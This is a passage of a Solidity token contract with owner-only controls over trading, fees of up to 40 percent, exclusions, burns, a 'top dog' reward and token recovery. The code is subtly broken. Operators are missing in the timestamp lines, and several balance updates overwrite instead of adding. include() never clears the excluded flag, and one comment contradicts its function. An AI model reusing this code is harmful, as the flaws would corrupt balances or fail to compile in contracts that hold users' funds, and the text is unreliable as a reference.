uint256 rTarget = (accounts[BURNADDR].nTotal * percent) / 100;
accounts[BURNADDR].nTotal -= rTarget;
networkSupply -= rTarget;
syncPool();
_lastBaseOrBurn = block.timestamp _BOBCooldown;
}
// one way function, once called it will always be false.
function enableTrading() external ownerOnly {
_unpaused = true;
swapEnabled = true;
}
function exclude(address account) external ownerOnly {
require(!accounts[account].excluded, "Account is already excluded");
accounts[account].excluded = true;
if(accounts[account].nTotal > 0) {
accounts[account].tTotal = accounts[account].nTotal / ratio();
}
EnumerableSet.add(excludedAccounts, account);
}
function include(address account) external ownerOnly {
require(accounts[account].excluded, "Account is already excluded");
accounts[account].tTotal = 0;
EnumerableSet.remove(excludedAccounts, account);
}
function setIsFeeless(address account, bool isFeeless) external ownerOnly alive(3) {
accounts[account].feeless = isFeeless;
}
// progressively 1 way, once at 1 its basically off.
// *But its still better to turn off via toggle to save gas
function setWhaleAccumulationLimit(uint256 limit) external ownerOnly {
require(limit <= _whaleLimit && limit > 0, "can't set limit lower");
_whaleLimit = limit;
}
function setBOBCooldown(uint256 timeInSeconds) external ownerOnly alive(4){
_BOBCooldown = timeInSeconds;
}
function setContractSellTarget(uint256 lim) external ownerOnly alive(5){
liquifyPer = lim;
}
function setContractBuyTarget(uint256 lim) external ownerOnly alive(6){
buyLimit = lim;
}
function SnS(uint256 tokenAmount) external ownerOnly alive(7){
swapAndSend(tokenAmount);
}
function setHome(address addr) external ownerOnly alive(8){
accounts[treasury].feeless = false;
treasury = addr;
accounts[treasury].feeless = true;
}
function setSellPerc(uint256 percent) external ownerOnly alive(9){
require(percent <= 40, "too high");
sellFee = percent;
}
function setBuyPerc(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
buyFee = percent;
}
function setRfiFee(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
reflectFee = percent;
}
function setCtfFee(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
ctfFee = percent;
}
function setTopDogFee(uint256 percent) external ownerOnly alive(10){
require(percent <= 40, "too high");
topDogFee = percent;
}
function setTopDogLimitSeconds(uint256 sec) external ownerOnly alive(11){
topDogLimitSeconds = sec;
}
function setTransferPair(address p, bool t) external ownerOnly alive(12){
accounts[_pair].transferPair = !t;
_pair = p;
accounts[_pair].transferPair = t;
}
function setPool(address pool) external ownerOnly alive(13){
_pool = pool;
}
function setTreasuryPerc(uint256 percent) external ownerOnly alive(15){
treasuryFee = percent;
}
function setMinHolderBonus(uint256 amt) external ownerOnly alive(16){
minimumForBonus = amt;
}
// manual burn amount, for *possible* cex integration
// !!BEWARE!!: you will BURN YOUR TOKENS when you call this.
function sendToBurn(uint256 amount) external alive(17){
address sender = _msgSender();
uint256 rate = ratio();
require(!getExcluded(sender), "Excluded addresses can't call this function");
require(amount * rate < accounts[sender].nTotal, "too much");
accounts[sender].nTotal -= (amount * rate);
accounts[BURNADDR].nTotal = (amount * rate);
accounts[BURNADDR].tTotal = (amount);
syncPool();
emit Transfer(address(this), BURNADDR, amount);
}
function setNft(uint256 percentReduced, bool isActive, address nftAddress) external ownerOnly alive(18){
nftFee = percentReduced;
_isNFTActive = isActive;
nft = IPonzuNFT(nftAddress);
}
function setLiquifyStats(uint256 rate) external ownerOnly alive(19){
require(rate <= 100, "!toomuch");
liquifyRate = rate;
}
function setIsDynamicFee(bool b) external ownerOnly alive(20){
isDynamicBonus = b;
}
function setDynamicRate(uint256 rate) external ownerOnly alive(21){
dynamicRate = rate;
}
function toggleWhaleLimiting() external ownerOnly alive(22){
_whaleLimiting = !_whaleLimiting;
}
function toggleDefaultLastTxn(bool isBurning) external ownerOnly alive(23){
defaultLastTxn = isBurning ? BURNADDR: treasury;
}
function transferOwnership(address newOwner) public ownerOnly {
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
_o = owner;
}
function transferToFarm(uint256 amount) external ownerOnly alive(24){
uint256 r = ratio();
require(block.timestamp >= _nextHarvest, "too soon");
require(amount <= (accounts[BURNADDR].nTotal / r)/2, "too much");
accounts[BURNADDR].nTotal -= amount * r;
accounts[_farm].nTotal = amount * r;
_nextHarvest = block.timestamp 60;
}
// forces etherscan to update in case balances aren't being shown correctly
function updateAddrBal(address addr) public {
emit Transfer(addr, addr, 0);
}
// set private and public to null
function renounceOwnership() public virtual ownerOnly {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
_o = address(0);
}
function resetTopDog() external {
if(block.timestamp - topDogSince > topDogLimitSeconds) {
topDogAddr = BURNADDR;
topDogAmount = 0;
topDogSince = block.timestamp;
emit TopDog(BURNADDR, block.timestamp, topDogAmount);
}
if(topDogAddr == BURNADDR) {
topDogAmount = 0;
}
}
// disperse amount to all holders, for *possible* cex integration
// !!BEWARE!!: you will reflect YOUR TOKENS when you call this.
function reflectFromYouToEveryone(uint256 amount) external alive(25){
address sender = _msgSender();
uint256 rate = ratio();
require(!getExcluded(sender), "Excluded addresses can't call this function");
require(amount * rate < accounts[sender].nTotal, "too much");
accounts[sender].nTotal -= (amount * rate);
networkSupply -= amount * rate;
fees = amount;
}
// in case people send tokens to this contract :facepalms:
function recoverERC20ForNoobs(address tokenAddress, uint256 tokenAmount) external ownerOnly {
require(tokenAddress != address(this), "not allowed");
IERC20(tokenAddress).transfer(owner, tokenAmount);
}
function toggleSwapEnabled() external ownerOnly alive(26){
swapEnabled = !swapEnabled;
}
}